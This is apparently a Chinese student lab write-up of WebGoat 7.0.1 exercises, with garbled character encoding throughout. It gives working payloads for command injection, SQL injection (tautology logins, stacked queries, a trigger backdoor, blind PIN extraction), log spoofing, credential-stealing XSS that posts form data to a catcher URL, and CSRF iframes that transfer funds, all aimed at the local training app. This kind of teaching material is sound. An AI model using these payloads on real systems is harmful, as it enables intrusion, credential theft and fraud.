1、基础问题html
2、实验步骤java
实验点一:SQLgithub
实验点二:XSS
实验点三:CSRF
4、实验总结
原理:SQL注入指的是发生在web应用对后台数据库查询语句处理存在的安全漏洞。
简单地说,就是在输入字符串中嵌入SQL指令,在设计程序中忽略了对特殊字符串的检查,这些嵌入的指令便会被误认为正常的SQL指令,在数据库中执行,所以能够对后台数据库进行查看等工做,甚至破坏后台数据库形成严重后果。
防护:增长对于特殊字符串的检查,即检查非法字符串的输入;使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤等。
原理:XSS即跨站脚本攻击,它容许恶意使用者将程序代码注入到网页上,其余使用者在浏览网页时就会受到不一样程度的影响。这类攻击通常包含了HTML语言以及目标主机使用的脚本语言。
防护:在表单提交或者url参数传递前,对须要的参数进行过滤;检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出等。
原理:CSRF即跨站伪造请求,它属于跨站脚本漏洞的一种衍生。其基本原理是:攻击者利用XSS的注入方式注入一段脚本,当受害者点击浏览器运行该脚本时,脚本伪造受害者发送了一个合法请求。
防护:经过referer、token或者验证码来检测用户提交;尽可能不要在页面的连接中暴露用户隐私信息,对于用户修改删除等操做最好都使用post操做;避免全站通用的cookie,严格设置cookie的域等。
一、因为个人kali中没有安装jdk,因此首先去oracle官网进行下载。(注意:这里我下载的jdk版本为1.8,可与7.0.1的webgoat匹配。版本不匹配后续就会报错!!!而且kali中的openjdk并非所对应须要的jdk!!!)
二、按照我在网上找到的教程,先进行jdk的安装与配置。
三、下载webgoat-container-7.0.1-war-exec.jar。
四、运行WebGoatjava -jar webgoat-container-7.0.1-war-exec.jar
。
五、当看到 Starting ProtocolHandler ["http-bio-8080"]
这一条消息以后,便可开始后续的实验。
六、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登陆界面,下方已经给出两组默认的用户名和密码:
七、登录成功后,可在网页左侧挑选想要进行的课程。
原理:在正常的参数提交过程当中,添加恶意的代码,每每可以获得之外的收获。
目标:可以在目标主机上执行任何系统命令
步骤:
"& netstat -an & ipconfig"
:View
,攻击成功:netstat -an
命令并返回告终果。原理:在station字段中注入特征字符,能组合成新的SQL语句。
SELECT * FROM weather_data WHERE station = [station]
目标:下面的表单容许用户查看天气数据。请经过注入 SQL 字符串的方式查看全部的天气数据。
步骤:
value="101"
进行修改,在城市编号101后面添加or 1=1
:Go!
,攻击成功,显示全部城市的天气状况:原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者能够利用这种方式清除他们在日志中的痕迹。
目标:灰色区域表明在Web服务器的日志中的记录的内容。咱们的目的是使用户名为“admin”的用户在日志中显示“成功登陆”。升级咱们的攻击,例如:在日志文件中插入脚本。
步骤:
webgoat Login Succeeded for username admin
,这样用户名后面的信息会在同一行显示,而不是在新的一行:webgoat%0d%0aLogin Succeeded for username: admin
,这样就完成了该课程:目标:使用 SQL 注入绕过认证
步骤:
以用户Neville登陆,仍是以永真式的形式输入密码Smith' or 1=1 --
:
攻击成功,获得全部人员列表:
目标:执行SQL注入绕过认证; 该课程的目的是经过注入语句,浏览到本来没法浏览的信息。经过一个普通员工的帐户, 浏览其BOSS
的帐户信息。
步骤:
Larry
和密码larry
登陆,浏览员工信息的按钮是ViewProfile
:Larry Stooge(employee)
上右键审查网页元素,能够看到此处是用员工ID做为索引来传送数据的,感受这里的数据库应该是以员工ID做为索引,返回的是每次查询到的第一条数据。用社会工程学解释老板应该是工资最高的,因此为了把老板排到第一个我们应该在员工ID:101
后面给他加上这么一些东西进行SQL注入排序,即:101 or 1=1 order by salary desc
其中desc
表示使用降序排列。
ViewProfile
,便可获取老板的信息。原理:基于如下查询语句构造本身的SQL注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
目标:下面的表格,容许用户查看他们的信用卡号码。尝试经过SQL注入将全部信用卡信息显示出来。尝试的用户名是“Smith”。
步骤:
''
提早闭合,插入永真式而后注释掉后面的内容就能够了,因此输入Smith' or 1=1 --
便可完成本课程内容。注入成功后,即可看到全部员工的信息:原理:数据库一般做为一个Web应用程序的后端来使用。此外,它也用来做为存储的媒介。它也能够被用来做为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另外一个数据库操做,如insert,select,update or delete。举个例子:攻击者能够建立一个触发器,该触发器在建立新用户时,将每一个新用户的Email地址设置为攻击者的地址。
目标:咱们的目标是学习如何利用查询的脆弱性建立触发器。因为WebGoat使用的是MySQL数据库,不支持触发器,因此该课程不会真正完成。
咱们的Login ID是101.
步骤:
101
,获得该用户的信息:101; update employee set salary=10000
(因为要执行两个语句,中间须要用分号分隔):101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
,即可看到攻击成功:原理:某些SQL注入是没有明确返回信息的,只能经过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
目标:下面的表单容许输入一个账号,并检测该账号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
咱们的目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int型。输入找到的数值并提交,经过本课程。
步骤:
本节课程中,服务端页面返回的信息只有两种:账号有效或无效。所以没法简单地查询到账号的PIN数值。尽管如此,咱们能够利用系统后台在用的查询语句。查询语句以下:
SELECT * FROM user_data WHERE userid=accountNumber;
若是该查询语句返回了账号的信息,页面将提示账号有效,不然提示无效。使用AND函数,咱们能够添加一些额外的查询条件。若是该查询条件一样为真,则返回结果应提示账号有效,不然无效。例以下面两个查询方式:
101 AND 1=1
101 AND 1=2
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
原理:某些SQL注入是没有明确返回信息的,只能经过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
目标:下面的表单容许输入一个账号,并检测该账号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
咱们的目标是找到pins表中cc_number字段值为4321432143214321 的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,经过本课程。
步骤:
本节课程很是相似与上一节。最大的不一样是要查询的字段是一个字符串而不是数值。所以咱们一样能够经过注入的方式查找到该字段的值。查询语句很是相似上一节,以下:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
通过屡次测试(比较 0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。同理继续判断第二个字符:
`101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );`
最终,判断出pin字段的值为:Jill
。提交该值,经过本节课程:
原理:若是有权限操做页面源代码,那么HTML文档的内容是能够被篡改的。
目标:建立一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
。
步骤:
利用XSS能够在已存在的页面中进一步添加元素。该解决方案包括两部分,咱们须要结合起来使用:
受害人填写一个表格;
以读取脚本的形式,将收集到的信息发送给攻击者。
一个带用户名和密码输入框的表格以下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
搜索这段代码,就能看到页面中增长了一个表单:
下面这段脚本语言的代码会读取咱们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
将以上两段代码合并,搜索这段代码,咱们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登陆,WebGoat会将输入的信息捕获并反馈给咱们:
原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。由于是留言,因此任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
目标:建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容。
步骤:在title中任意输入字符,留言板中输入<script>alert("Ha Ha Ha");</script>
,便可攻击成功。
目标:在反射的XSS攻击中,攻击者可使用攻击脚本建立一个URL,并将其发布到另外一个网站、经过电子邮件或其余方式让受害者点击它。
步骤:输入代码<script>alert("You're an idiot!");</script>
,点击purse
的同时页面就给出了反馈:
原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但若是提示符是可编写脚本的,则能够忽略它。本课展现如何经过发出另外一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
目标:与CSRF课程相似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您能够从右边的插图中复制课程的参数,建立格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ
的url。不管谁收到这封电子邮件,而且碰巧在那个时候经过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单上发现绿色复选框。
步骤:
并在title框中输入任意内容,message框中输入代码:
``` <iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe> ```
在Message List中生成以Title命名的连接,点击进入后,攻击成功
解决方法:缘由是jdk与webgoat版本不匹配,或者是jdk未安装(注意:openjdk不是此次实验中所要用的jdk,两者不同!!!),具体教程,见我实验前准备那里的描述。